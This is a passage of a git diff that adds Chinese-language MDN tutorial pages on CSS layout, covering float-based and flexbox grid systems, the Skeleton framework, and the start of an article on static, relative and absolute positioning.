gutter widths (40px) */ +.col.span3 { width: 220px; } +/* And so on... */ +.col.span4 { width: 300px; } +.col.span5 { width: 380px; } +.col.span6 { width: 460px; } +.col.span7 { width: 540px; } +.col.span8 { width: 620px; } +.col.span9 { width: 700px; } +.col.span10 { width: 780px; } +.col.span11 { width: 860px; } +.col.span12 { width: 940px; }</pre> + +<p>创建了这些类以后,我们可以在网格上布局不同宽度的列。试试保存并在你的浏览器上加载这个页面,来查看效果。</p> + +<div class="note"> +<p><strong>备注:</strong> 如果你在让上面的示例实现的时候正遇到麻烦,尝试将它和我们在GitHub上的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">完成版</a>进行比较(再<a href="http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">看下实时的示例</a>)。</p> +</div> + +<p>试试修改这些类,甚至添加、删除一些容器,来看看你能怎么改变这个布局。例如,你可以把第二行写成这样:</p> + +<pre class="brush: css"><div class="row"> + <div class="col span8">13</div> + <div class="col span4">14</div> +</div></pre> + +<p>现在你的网格布局生效了。你可以简单的定义这些行,和每行的列数,然后给他们添加你想要的内容。真棒!</p> + +<h3 id="创建液态网格">创建液态网格</h3> + +<p>这个网格表现的不错,但是它长度固定。 我们实际却想要一个弹性(流体)的网格,它可以随着浏览器的{{Glossary("viewport")}}大小的变化自动伸缩。为了达成这个目标,我们需要把相应的像素的长度变为百分比长度。</p> + +<p>把固定宽度转为伸缩的基于百分比宽度的算式在下面:</p> + +<pre>target / context = result</pre> + +<p>在我们的列宽里,我们的<strong>目标列长度</strong>是60像素,我们的<strong>上下文</strong>是960像素的包装。我们可以这么计算百分比:</p> + +<pre>60 / 960 = 0.0625</pre> + +<p>然后我们挪动小数点两位,得到百分数6.25%。所以在CSS里面,我们可以用6.25%代替60像素。</p> + +<p>我们需要同样这么算间隔:</p> + +<pre>20 / 960 = 0.02083333333</pre> + +<p>所以我们需要用2.08333333%代替<code>.col</code>里{{cssxref("margin-left")}}的20像素,和<code>.wrapper</code>里{{cssxref("padding-right")}}的20像素。</p> + +<h4 id="更新我们的网格">更新我们的网格</h4> + +<p>创建一个之前例子网页的副本。然后开始这个章节,或者制作一个<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">simple-grid-finished.html</a>代码的本地副本,以将其作为入手点。</p> + +<p>更新第二个CSS规则(有着<code>.wrapper</code>选择器),像下面这样:</p> + +<pre class="brush: css">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +}</pre> + +<p>我们不仅给它一个百分比的{{cssxref("width")}},还添加了{{cssxref("max-width")}}属性,来确保布局不过于宽。</p> + +<p>下一步,更新第四条CSS规则(有<code>.col</code>选择器),像这样:</p> + +<pre class="brush: css">.col { + float: left; + margin-left: 2.08333333%; + width: 6.25%; + background: rgb(255, 150, 150); +}</pre> + +<p>现在做些稍微麻烦的事 — 我们需要更新所有 <code>.col.span</code> 规则来把像素变为百分比。这需要点时间计算;为节省你的功夫,我们在下面替你做了。</p> + +<p>像下面这样更新CSS规则的底部块:</p> + +<pre class="brush: css">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */ +.col.span2 { width: 14.58333333%; } +/* Three column widths (18.75%) plus two gutter widths (4.1666666) */ +.col.span3 { width: 22.91666666%; } +/* And so on... */ +.col.span4 { width: 31.24999999%; } +.col.span5 { width: 39.58333332%; } +.col.span6 { width: 47.91666665%; } +.col.span7 { width: 56.24999998%; } +.col.span8 { width: 64.58333331%; } +.col.span9 { width: 72.91666664%; } +.col.span10 { width: 81.24999997%; } +.col.span11 { width: 89.5833333%; } +.col.span12 { width: 97.91666663%; }</pre> + +<p>现在保存你的代码,从浏览器里加载它,尝试改变视口长度——你应该可以看到网格完美地适配了。</p> + +<div class="note"> +<p><strong>备注:</strong>如果你在让上面的示例实现的时候正遇到困难,试着把它和我们<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">GitHub上的完成版</a>比较(另<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">见实时的示例</a>)。</p> +</div> + +<h3 id="使用calc函数的更简单计算">使用calc()函数的更简单计算</h3> + +<p>你可以用 {{cssxref("calc()")}} 函数来在CSS里面做数学方面的计算——这允许你在CSS里插入简单的算式,来计算那些值。这个会很有用,特别当你有个复杂计算的时候,甚至你还可以在算式里用不同的单位,比如“我想要这个元素一直比它父元素少50像素”。看下<a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">这个来自MediaRecorder API教程的示例</a>。</p> + +<p>言归正传, 来讲我们的网格!我们网格里跨越超过一列的列,它的总长是6.45%乘跨越的列数加 2.08333333%,乘间隔数(间隔数总等于行数减一)。<code>calc()</code> 函数允许我们就在宽度值里面这么计算,所以对跨越4列的列我们可以这么算:</p> + +<pre class="brush: css">.col.span4 { + width: calc((6.25%*4) + (2.08333333%*3)); +}</pre> + +<p>试着用下面的内容替换你底部的规则块,然后在浏览器中重载,看看你是否能得到相同的结果:</p> + +<pre class="brush: css">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } +.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); } +.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); } +.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); } +.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); } +.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); } +.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); } +.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); } +.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); } +.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); } +.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre> + +<div class="note"> +<p><strong>备注:</strong>你能在<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">fluid-grid-calc.html</a>里看到我们的完成版(另<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">见实时版</a>)。</p> +</div> + +<div class="note"> +<p><strong>备注:</strong>如果你不能让这个正常工作,可能是你的浏览器不支持<code>calc()</code>函数,尽管各浏览器对它的支持相当好——远至IE9那样老。</p> +</div> + +<h3 id="语义vs.“无语义”网格系统">语义vs.“无语义”网格系统</h3> + +<p>在标记中添加类以定义布局,意味着您的内容和标记与您的可视化表示相关联。你将会偶尔听到,这种使用CSS类的方式,被描绘成“无语义”:描述了内容的外观,而不是描述内容的语义性的类的使用。这是我们的<code>span2</code>、<code>span3</code>等类所面临的情况。</p> + +<p>这些并不是唯一的方法,你或许会转头决定使用网格,然后向已有的语义类里面加入尺寸信息。例如,如果你有一个带有<code>content</code>类的{{htmlelement("div")}},而且你想让它横跨8列,你可以从<code>span8</code>类里面复制整个关于宽度的规则,结果是像这样的一条规则:</p> + +<pre class="brush: css">.content { + width: calc((6.25%*8) + (2.08333333%*7)); +}</pre> + +<div class="note"> +<p><strong>备注:</strong> 如果你要用预处理工具,如<a href="http://sass-lang.com/">Sass</a>,你可以建立一个简单的类(mixin)以插入那个值。</p> +</div> + +<h3 id="在我们的网格里启用偏移容器">在我们的网格里启用偏移容器</h3> + +<p>我们创造的网格很有效。只要我们想把所有容器都从网格的左手边对齐。如果我们想在第一个容器前来个空列,或者容器之间来个空列,我们需要新建一个偏移类,为站点加上左外边距,来可见地推动网格。再来点数学计算!</p> + +<p>让我们实际试试吧。</p> + +<p>从你以前的代码开始,或者把我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">fluid-grid.html</a>文件用作起始点。</p> + +<p>我们在CSS上搞一个类,它会给一个容器元素来个一列宽度的偏移。将下面的内容加到你的CSS的底部:</p> + +<pre class="brush: css">.offset-by-one { + margin-left: calc(6.25% + (2.08333333%*2)); +}</pre> + +<p>或者假如你更愿意自己算百分比,用下面这个:</p> + +<pre class="brush: css">.offset-by-one { + margin-left: 10.41666666%; +}</pre> + +<p>想要给一个容器的左边加个有一列宽的空白的话,你可以在容器上添加这个类。例如,如果你在HTML中有这个内容的时候:</p> + +<pre class="brush: html"><div class="col span6">14</div></pre> + +<p>试着用下面的替换:</p> + +<pre class="brush: html"><div class="col span5 offset-by-one">14</div></pre> + +<div class="note"> +<p><strong>备注:</strong> 注意你需要别让横跨多列的列太多,给偏移留点空间!</p> +</div> + +<p>试着载入,刷新来查看区别,或者查看我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html">fluid-grid-offset.html</a>示例(另见<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html">实时</a>示例)。完成的示例应该看起来像这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13903/offset-grid-finished.png" style="display: block; height: 47px; margin: 0px auto; width: 944px;"></p> + +<div class="note"> +<p><strong>备注:</strong>作为额外练习,你能实现一个<code>offset-by-two</code>类吗?</p> +</div> + +<h3 id="浮动网格的限制">浮动网格的限制</h3> + +<p>当你想用这个网格系统时,你得仔细看看你的总长是否正确,并且每行中的元素所横跨的列数不超过这一行可容纳的列数。由于浮动布局实现的方式,如果网格列的数目对与网格来说太大,在最后边的元素会跑到下一行去,搞坏了布局 。</p> + +<p>还要记住,如果元素内容比行宽,它会溢出,看起来一团糟。</p> + +<p>这个系统的最大限制是,它本质上是一维的。我们在处理列、让元素跨越列,但是处理不了行。如果不设置一个确定的高度,用老方法很难控制元素高。这个方法很不灵活 —它只有在你确定你的内容有个明确的高的情况下有用。</p> + +<h2 id="弹性盒网格?">弹性盒网格?</h2> + +<p>如果你读了之前关于<a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>的文章,你大概会想,弹性布局是个写网格布局的好办法。现在有很多基于弹性布局的网格布局,并且弹性布局可以解决很多上面讲的问题。</p> + +<p>但是,弹性布局不是为网格布局而设的,把它当网格布局来用也有新的挑战。举个简单的例子,我们可以使用我们在上面使用过的同样的示例标记,用下面的CSS样式化<code>wrapper</code>、<code>row</code>和<code>col</code>类:</p> + +<pre class="brush: css">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +} + + +.row { + display: flex; +} + +.col { + margin-left: 2.08333333%; + margin-bottom: 1em; + width: 6.25%; + flex: 1 1 auto; + background: rgb(255,150,150); +}</pre> + +<p>你可以试着在你自己的示例里做这些替换,或者看下我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html</a>示例代码(另见<a href="http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">实时版</a>)。</p> + +<p>这里,我们会把每行变成一个弹性容器。有了弹性盒为基础的网格,我们仍然需要行,以让我们的元素加起来能不超过100%。我们将容器设为<code>display: flex</code>。</p> + +<p>在<code>.col</code>上。我们设定{{cssxref("flex")}}属性的第一个值({{cssxref("flex-grow")}})为1,这样我们的物件可以变大;第二个值({{cssxref("flex-shrink")}})为1,这样我们的物件可以缩小;第三个值({{cssxref("flex-basis")}})为<code>auto</code>。因为我们的元素的{{cssxref("width")}}被设定了, <code>auto</code>将会使用和<code>flex-basis</code> 值一样的宽度。</p> + +<p>在顶行,我们有十二个整齐的盒子,它们在视口宽度改变时同等地放大缩小。可是在下一行,我们只有四个物件,它们也从六十像素的基础上变大变小。因为它们只有四个,它们可以长得比上一行的物件更快,结果是它们都占据了第二行的相同宽度。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13905/flexbox-grid-incomplete.png" style="display: block; height: 71px; margin: 0px auto; width: 944px;"></p> + +<p>为了解决这个问题,我们仍然需要包含<code>span</code>类,以提供一个用于那个元素的,可以替换掉为 <code>flex-basis</code>所使用的值的宽度。</p> + +<p>它们也不遵从上面的物件使用的网格,因为它们对它一无所知。</p> + +<p>弹性盒设计上是<strong>一维</strong>。它处理单个维度,行的或者列的。我们不能创建一个对行列严格要求的网格,意即如果我们要在我们的网格上使用弹性盒的话,我们仍然需要计算浮动布局的百分比。</p> + +<p>在你的工程中,由于弹性盒相比浮动能提供附加的对齐和空间分布能力,你可能仍然选择使用弹性盒“网格”。但是你应该清楚,你仍然是在使用一个被设计用来做其他事情的工具。所以你可能觉得,这就像是在你抵达你想要的结果之前,让你跳过额外的坑。</p> + +<h2 id="第三方网格系统">第三方网格系统</h2> + +<p>既然我们理解了我们的网格计算背后的数学了,我们现在该看看一些常用的第三方网格系统了。如果你在互联网上搜索“CSS网格框架”的话,你会发现一个包含了可选项的庞大列表。流行的框架,例如<a href="http://getbootstrap.com/">Bootstrap</a>和<a href="http://foundation.zurb.com/">Foundation</a>,就包含了网格系统。此外还有独立的网格系统,不是用CSS开发的就是用预处理器开发的。</p> + +<p>让我们看下这些独立系统其中的一个,它阐释了利用网格框架工作的常见技术。我们将要使用的网格是Skeleton的一部分,它是一种简单的CSS框架。</p> + +<p>访问<a href="http://getskeleton.com/">Skeleton网站</a>以开始,选择“Download”下载ZIP文件。解压文件,把skeleton.css和normalize.css复制到一个新路径下。</p> + +<p>制作一个<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html">html-skeleton.html</a>文件的副本,在同skeleton和normalize CSS相同的路径下保存副本。</p> + +<p>在HTML页面包含skeleton和normalize CSS,通过把以下内容加到文件头部的方式:</p> + +<pre class="brush: html"><link href="normalize.css" rel="stylesheet"> +<link href="skeleton.css" rel="stylesheet"></pre> + +<p>Skeleton不仅包含了网格系统,它还包含了用于排版和其他能作为起始点的页面元素上的CSS。我们现在把这些部分留作默认值,我们在这里真正感兴趣的是网格。</p> + +<div class="note"> +<p><strong>备注:</strong><a href="/en-US/docs/">Normalize</a>是由Nicolas Gallagher编写的一个很有用的小CSS库,它自动做了一些有用的基础布局修正,让元素默认的样式化在不同浏览器中更加协调。</p> +</div> + +<p>我们将会使用和在前面的示例中相似的HTML。将下面的内容加到你的HTML body中:</p> + +<pre class="brush: html"><div class="container"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col">13</div> + <div class="col">14</div> + <div class="col">15</div> + <div class="col">16</div> + </div> +</div></pre> + +<p><br> + 要开始使用Skeleton,我们需要给包装的{{htmlelement("div")}}一个<code>container</code>类——这已经包含在了我们的HTML里面。这让最大宽度为960像素的内容居中了。你可以看看盒子现在是怎么不会宽于960像素的。</p> + +<p>你可以看看skeleton.css文件里,CSS在我们应用这个类的时候是如何使用的。<code><div></code>用值为<code>auto</code>的左右外边距居中,左边和右边还应用了20像素的内边距。同我们前面做过的那样,Skeleton同时把Skeleton{{cssxref("box-sizing")}}属性设为<code>border-box</code>值,所以这个元素的内边距和边框将会被包含在整个width里面。</p> + +<pre class="brush: css">.container { + position: relative; + width: 100%; + max-width: 960px; + margin: 0 auto; + padding: 0 20px; + box-sizing: border-box; +}</pre> + +<p>如果它们在行里面的话,元素只会是网格的一部分,所以对于前面的示例,我们需要一个额外的<code><div></code>或者其他带有<code>row</code>类的、内嵌到<code>content</code> <code><div></code>和我们实际的内容容器的<code><div></code>之间的元素。我们也已经做了这件事。</p> + +<p>现在让我们铺开容器盒子。Skeleton基于一个12列的网格。顶端一行的盒子都需要加上<code>one column</code>的类,以让它们横跨一列。</p> + +<p>现在加上这些,像是在下面的节录里面显示的那样:</p> + +<pre class="brush: html"><div class="container"> + <div class="row"> + <div class="one column">1</div> + <div class="one column">2</div> + <div class="one column">3</div> + /* and so on */ + </div> +</div></pre> + +<p>然后,给第二行的容器加上解释它们应该横跨几个列的类,像这样:</p> + +<pre class="brush: html"><div class="row"> + <div class="one column">13</div> + <div class="six columns">14</div> + <div class="three columns">15</div> + <div class="two columns">16</div> +</div></pre> + +<p>试着保存你的HTML,在你的浏览器里面载入,看下效果。</p> + +<div class="note"> +<p><strong>备注:</strong>如果你在实现这个示例的时候遇到麻烦,试着拿它和我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a>文件进行比较(另见<a href="http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">实时运行版</a>)。</p> +</div> + +<p>如果你看下skeleton.css文件的内容,你能理解这是如何实现的。例如,Skeleton有下面的定义内容,用于样式化加入了“three colomns”类的元素。</p> + +<pre class="brush: css">.three.columns { width: 22%; }</pre> + +<p>Skeleton(或者其他任何网格框架)正在做的所有事情是,设定一个预定义的类,你可以通过把它们加到你的标记文件里面的方式使用这些框架,和你自己做计算这些百分数的工作完全是一样的。</p> + +<p>正如你所看到的这样,我们使用Skeleton的时候,几乎不需要写多少CSS。它在我们向标记文本里面加类的时候,替我们处理了所有的浮动。正是把布局的责任甩给其他人的可能性,使得使用用于网格系统的框架成为了一个强制性的选择!但是现在来看,有了CSS网格布局,许多开发者正在停止使用这些框架,转而使用CSS提供的内建的原生网格。</p> + +<h2 id="小结">小结</h2> + +<p>你现在理解了多种网格系统是如何建立的。这将会在处理老网站的时候,以及理解CSS网格布局的原生网格和那些老系统的不同的时候帮到你。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">CSS布局介绍</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">网格</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">定位</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统布局模式</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧浏览器</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基础布局掌握测验</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/定位/index.html b/files/zh-cn/learn/css/css_layout/定位/index.html new file mode 100644 index 0000000000..cbfa094300 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/定位/index.html @@ -0,0 +1,615 @@ +--- +title: 定位 +slug: Learn/CSS/CSS_layout/定位 +tags: + - CSS + - 初学者 + - 定位 + - 布局 + - 指南 + - 相对定位 + - 绝对定位 +translation_of: Learn/CSS/CSS_layout/Positioning +--- +<div> +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}</p> +</div> + +<p class="summary">定位允许您从正常的文档流布局中取出元素,并使它们具有不同的行为,例如放在另一个元素的上面,或者始终保持在浏览器视窗内的同一位置。 本文解释的是定位({{cssxref("position")}})的各种不同值,以及如何使用它们。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>HTML 基础 (学习 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML">HTML导学</a>)和CSS怎样工作的 (学习<a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS"> CSS导学</a>)</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解CSS定位的工作原理</td> + </tr> + </tbody> +</table> + +<h2 id="文档流">文档流</h2> + +<p>定位是一个相当复杂的话题,所以我们深入了解代码之前,让我们审视一下布局理论,并让我们了解它的工作原理。</p> + +<p>首先,围绕元素内容添加任何内边距、边界和外边距来布置单个元素盒子——这就是 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Box_model">盒模型</a> ,我们前面看过。 默认情况下,块级元素的内容宽度是其父元素的宽度的100%,并且与其内容一样高。内联元素高宽与他们的内容高宽一样。您不能对内联元素设置宽度或高度——它们只是位于块级元素的内容中。 如果要以这种方式控制内联元素的大小,则需要将其设置为类似块级元素 <code>display: block;</code>。</p> + +<p>这只是解释了单个元素,但是元素相互之间如何交互呢? <strong>正常的布局流</strong>(在布局介绍文章中提到)是将元素放置在浏览器视口内的系统。默认情况下,块级元素在视口中垂直布局——每个都将显示在上一个元素下面的新行上,并且它们的外边距将分隔开它们。</p> + +<p>内联元素表现不一样——它们不会出现在新行上;相反,它们互相之间以及任何相邻(或被包裹)的文本内容位于同一行上,只要在父块级元素的宽度内有空间可以这样做。如果没有空间,那么溢流的文本或元素将向下移动到新行。</p> + +<p>如果两个相邻元素都在其上设置外边距,并且两个外边距接触,则两个外边距中的较大者保留,较小的一个消失——这叫<a href="/zh-CN/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">外边距折叠</a>, 我们之前也遇到过。</p> + +<p>让我们来看一个简单的例子来解析这一切:</p> + +<pre class="brush: html notranslate"><h1>Basic document flow</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p>By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +}</pre> + +<p>{{ EmbedLiveSample('文档流', '100%', 500) }}</p> + +<p>在我们阅读本文时,我们将多次重复这个例子,因为我们要展示不同定位选项的效果。</p> + +<p>如果可能,我们希望您在本地计算机上跟随练习 — 从GitHub仓库下载一个<code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html">0_basic-flow.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">源代码</a>) 然后用它作为我们的起步点。</p> + +<h2 id="介绍定位">介绍定位</h2> + +<p>定位的整个想法是允许我们覆盖上面描述的基本文档流行为,以产生有趣的效果。如果你想稍微改变布局中一些盒子的位置,使它们的默认布局流程位置稍微有点古怪,不舒服的感觉呢?定位是你的工具。或者,如果您想要创建一个浮动在页面其他部分顶部的UI元素,并且/或者始终停留在浏览器窗口内的相同位置,无论页面滚动多少?定位使这种布局工作成为可能。</p> + +<p>有许多不同类型的定位,您可以对HTML元素生效。要使某个元素上的特定类型的定位,我们使用{{cssxref("position")}}属性。</p> + +<h3 id="静态定位">静态定位</h3> + +<p>静态定位是每个元素获取的默认值——它只是意味着“将元素放入它在文档布局流中的正常位置 ——这里没有什么特别的。</p> + +<p>为了演示这一点,并为以后的部分设置示例,首先在HTML中添加一个<code>positioned</code> 的 <code>class</code> 到第二个{{htmlelement("p")}}:</p> + +<pre class="brush: html notranslate"><p class="positioned"> ... </p></pre> + +<p>现在,将以下规则添加到CSS的底部:</p> + +<pre class="brush: css notranslate">.positioned { + position: static; + background: yellow; +}</pre> + +<p>如果现在保存和刷新,除了第2段的更新的背景颜色,根本没有差别。这很好——正如我们之前所说,静态定位是默认行为!</p> + +<div class="note"> +<p><strong>注意:</strong>你可以在 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> 查看这个例子 (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">see source code</a>)。</p> +</div> + +<h3 id="相对定位">相对定位</h3> + +<p>相对定位是我们将要看的第一个位置类型。 它与静态定位非常相似,占据在正常的文档流中,除了你仍然可以修改它的最终位置,包括让它与页面上的其他元素重叠。 让我们继续并更新代码中的 <code>position</code> 属性:</p> + +<pre class="brush: css notranslate">position: relative;</pre> + +<p>如果您在此阶段保存并刷新,则结果根本不会发生变化。那么如何修改元素的位置呢? 您需要使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}属性 ,我们将在下一节中解释。</p> + +<h3 id="介绍_top_bottom_left_right">介绍 top, bottom, left, right</h3> + +<p>{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, 和 {{cssxref("right")}} 来精确指定要将定位元素移动到的位置。 要尝试这样做,请在CSS中的 <code>.positioned</code> 规则中添加以下声明:</p> + +<pre class="notranslate">top: 30px; +left: 30px;</pre> + +<div class="note"> +<p><strong>注意:</strong>这些属性的值可以采用逻辑上期望的任何单位 ——px,mm,rems,%等。</p> +</div> + +<p>如果你现在保存和刷新,你会得到一个这样的结果:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Relative positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">By default we span 100% of the width of our parent element, and our are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: relative; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('介绍_top_bottom_left_right', '100%', 500) }}</p> + +<p>酷,是吗? 好吧,所以这个结果这可能不是你期待的——为什么它移动到底部和右边,但我们指定顶部和左边? 听起来不合逻辑,但这只是相对定位工作的方式——你需要考虑一个看不见的力,推动定位的盒子的一侧,移动它的相反方向。 所以例如,如果你指定 <code>top: 30px;</code>一个力推动框的顶部,使它向下移动30px。</p> + +<div class="note"> +<p><strong>注意:</strong> 你可以在 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html">2_relative-positioning.html</a></code> 查看这个例子 (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html">see source code</a>)。</p> +</div> + +<h3 id="绝对定位">绝对定位</h3> + +<p>绝对定位带来了非常不同的结果。让我们尝试改变代码中的位置声明如下:</p> + +<pre class="notranslate">position: absolute;</pre> + +<p>如果你现在保存和刷新,你应该看到这样:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Absolute positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('绝对定位', '100%', 420) }}</p> + +<p>首先,请注意,定位的元素应该在文档流中的间隙不再存在——第一和第三元素已经靠在一起,就像第二个元素不再存在!好吧,在某种程度上,这是真的。绝对定位的元素不再存在于正常文档布局流中。相反,它坐在它自己的层独立于一切。这是非常有用的:这意味着我们可以创建不干扰页面上其他元素的位置的隔离的UI功能 。例如,弹出信息框和控制菜单;翻转面板;可以在页面上的任何地方拖放的UI功能……</p> + +<p>第二,注意元素的位置已经改变——这是因为{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}以不同的方式在绝对定位。 它们指定元素应距离每个包含元素的边的距离,而不是指定元素应该移入的方向。 所以在这种情况下,我们说的绝对定位元素应该位于从“包含元素”的顶部30px,从左边30px。</p> + +<div class="note"> +<p><strong>注意:</strong>如果需要,您可以使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}} 调整元素大小。 尝试设置 <code>top: 0; bottom: 0; left: 0; right: 0;</code> 和 <code>margin: 0;</code> 对你定位的元素,看看会发生什么! 之后再回来</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>是的,margins 仍会影响定位的元素。 然而margin collapsing不会。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>你可以在<code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html">3_absolute-positioning.html</a></code> 查看这个例子(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html">see source code</a>)。</p> +</div> + +<h3 id="定位上下文">定位上下文</h3> + 